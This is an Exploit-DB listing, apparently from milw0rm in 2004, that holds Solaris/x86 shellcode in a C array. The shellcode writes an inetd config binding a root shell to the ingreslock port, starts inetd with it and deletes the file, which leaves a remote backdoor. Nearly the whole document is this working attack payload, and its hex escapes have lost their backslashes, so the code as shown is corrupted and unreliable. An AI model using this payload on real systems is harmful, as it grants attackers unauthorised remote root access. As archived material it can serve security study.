https://www.exploit-db.com/exploits/13502

漏洞细节尚未披露

/*
 *  Solaris/x86
 *
 *  Just execve()'s the following:
 *   "echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;"
 *   "/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x";
 *
 *  for a trivial remote bd. Used in a few old Solaris/x86 remote exploits. 
 */
 
char c0de[] =
"xebx3dx9ax24x24x24x24x07x24xc3x5ex29xc0x89x46xbfx88x46xc4"
"x89x46x0cx88x46x17x88x46x1ax88x46x78x29xc0x50x56x8dx5ex10"
"x89x1ex53x8dx5ex18x89x5ex04x8dx5ex1bx89x5ex08xb0x3bxe8xc6"
"xffxffxffxffxffxffxe8xc6xffxffxffx01x01x01x01x02x02x02x02"
"x03x03x03x03x04x04x04x04"
"x2fx62x69x6ex2fx73x68x20x2dx63x20"
"echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;"
"/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x";

/* EOF */

# milw0rm.com [2004-09-26]